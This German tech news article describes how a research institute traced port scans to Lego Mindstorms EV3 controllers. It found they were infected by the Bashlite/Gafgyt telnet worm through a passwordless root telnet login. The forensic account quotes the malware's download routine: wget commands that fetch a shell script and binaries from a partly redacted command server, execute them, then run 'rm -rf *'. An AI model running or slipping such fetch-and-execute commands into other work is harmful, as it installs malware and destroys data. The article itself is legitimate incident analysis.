Analysiert: Lego Mindstorms fĂŒr Cyber-Angriffe missbraucht
In einer deutschen Forschungseinrichtung arbeiten auch Lego-Roboter im Dienste der Wissenschaft. Eines Tages entwickelten diese jedoch ein gefÀhrliches Eigenleben.
(Bild:Â Lego)
Ende September warnte uns unser Provider, dass aus dem Netz unserer Forschungseinrichtung ein Portscan durchgefĂŒhrt wurde. Auf der Suche nach dem Verursacher stellte sich zu unserer Verwunderung heraus, dass die angegebenen IP-Adressen nicht zu einem Arbeitsplatzrechner gehörten, sondern zu den Steuereinheiten des Robotik-Baukastens Lego Mindstorms EV3, die wir fĂŒr diverse Projekte einsetzen. Darin steckt ein ARM-9-Prozessor mit 300 MHz, der ein Embedded Linux antreibt. Ihm stehen 64 MByte RAM zur Seite.
Die EV3-Steuerungen hatten wir mit WLAN-Sticks in unser Netz gehĂ€ngt. Als SofortmaĂnahme haben wir die VerdĂ€chtigen in der Firewall gesperrt, woraufhin die Attacken erwartungsgemÀà verstummten. Um der Sache auf den Grund zu gehen, richteten wir ein MacBook ĂŒber die Internetfreigabe als Accesspoint ein und verbanden die EV3-Steuerungen damit.
Lego-Traffic analysiert
Auf dem MacBook konnten wir mit Wireshark nun den Traffic der aufstĂ€ndischen Roboter unter die Lupe nehmen. Die GerĂ€te scannten tatsĂ€chlich groĂe IP-Adressbereiche auf Port 23, dem Standardport fĂŒr Telnet. Da wir ausschlieĂen konnten, dass diese Scans von unserem Code verursacht wurden, mussten wir ab diesem Zeitpunkt davon ausgehen, dass die Steuercomputer des dĂ€nischen Spielzeugherstellers mit einem SchĂ€dling befallen sind.
Eine kurze Recherche ergab, dass es sich wahrscheinlich um den Telnet-Wurm Bashlite handelt. Er scannt das Netzwerk nach Telnet-Servern und versucht sich dort auch mit Standardpasswörtern anzumelden. AnschlieĂend infiziert er die Systeme und macht sie zu gefĂŒgigen Bots, die auf Zuruf DDoS-Attacken ausfĂŒhren.
Auf diese Weise hatte sich der SchĂ€dling offenbar auch in die EV3-Steuerungen eingenistet: Es zeigte sich, dass auf den GerĂ€ten ein Telnet-Server lĂ€uft, an dem man sich als "root" anmelden kann â ganz ohne Passwort:
ZusÀtzlich fanden wir auf den Systemen noch einen SSH-Server, den der Virus jedoch selbst installiert hatte.
SchÀdling residiert im RAM
Eine detailliertere forensische Untersuchung war erst mal nicht möglich, da der SchĂ€dling nur im RAM der EV3-Steuerungen residierte und wir die GerĂ€te zwischenzeitlich neu gestartet hatten. Unsere Netzwerkprotokolle zeigten, dass diverse IP-Adressen von auĂen versuchten, eines ehemals infizierten Steuerungens-Systeme zu erreichen. Um den Fall weiter untersuchen zu können, lieĂen wir die Kontaktversuche zu, worauf die Lego-Hardware erneut infiziert wurde.
Nachdem wir per Wireshark die Infektion live miterlebt hatten, zeigte der Befehl "ps" einen ungewöhnlichen Prozess namens "co5", der auch fĂŒr die sofort beginnenden massiven Scans nach neuen Opfern verantwortlich war. Unter dessen PID "xxyy" konnten wir dann in /proc/xxyy/exe tatsĂ€chlich ein Binary des aktiven SchĂ€dlings finden und auf eine microSD-Karte kopieren.
Virustotal.com bestÀtigte unsere Vermutung, dass es sich um den SchÀdling Bashlite/Gafgyt handelt [1]. Weitere Details lieferte uns der Befehl "strings"; etwa den potenziellen Namen des Programmierers in einer Pfadangabe: "/home/landley/work/ab7/build". So kamen wir auch der Download-Routine auf die Schliche, die ein Shell-Skript namens c.sh nachlÀdt:
cd /tmp; rm -rf c.sh; wget http://93.174.xxx.yyy/c.sh;
Die Datei c.sh versucht erst, schon vorhandene Instanzen des Virus zu killen und startet dann weitere wget-Aufrufe, die die Dateien co1 bis co17 von 93.174.xxx.yyy herunterladen. Diese flaggt das Skript anschlieĂend als ausfĂŒhrbar (executable), ehe sie schlieĂlich gestartet und vom Speichermedium gelöscht werden:
cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co1
...
cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co17
rm -rf *
Leider hatten wir nicht die nötigen Ressourcen, um uns die Downloads co1 bis co17 en Detail anzusehen. Wir lokalisierten jedoch den Command-and-Control-Server und benachrichtigen den Abuse-Kontakt des Hosters. Der wies jede Verantwortung fĂŒr den Inhalt des Servers von sich. Inzwischen sind immerhin dort die Dateien nicht mehr zu finden.
AnschlieĂend konfrontierten wir Lego mit unseren Beobachtungen. Nachdem wir mehrfach nachgehakt hatten, gestand das Unternehmen via Mail ein, dass die EV3-Steuerungen nicht direkt gegen Angriffe von auĂen geschĂŒtzt und somit angreifbar sind. Dies erfordere jedoch eine "digitale Verbindung zu anderen GerĂ€ten" â wie eben jenen WLAN-Stick, den wir mit dem USB-Host-Anschluss der EV3 verbunden hatten. In einer weiteren Mail erklĂ€rte ein Entwicklungsleiter, dass man derzeit untersuche, wie man das Problem am besten lösen könne. Danach hat sich der dĂ€nische Spielzeughersteller nicht mehr bei uns gemeldet.
Das Internet Of Things (IoT) und die fortschreitende Anbindung von allen möglichen Dingen an das Internet stellt eine neue Bedrohungslage dar. Obwohl in diesem Falle wahrscheinlich kein groĂer Schaden angerichtet wurde, hatten Fremde root-Zugriff auf Rechner im Netz eines Hightech-Forschungsinstituts. Wer eine EV3-Steuerung betreibt, sollte tunlichst darauf achten, dass die Netzwerkkonfiguration keine Zugriffe von auĂen durchlĂ€sst. (rei [2])
URL dieses Artikels:
https://www.heise.de/-3055305
Links in diesem Artikel:
[1] https://www.virustotal.com/fr/file/4d7e61dfb0d67e401dfc603699b528255382230fa58474a8b3ae44d3e10872e5/analysis/1452676376/
[2] mailto:rei@heise.de
Copyright © 2016 Heise Medien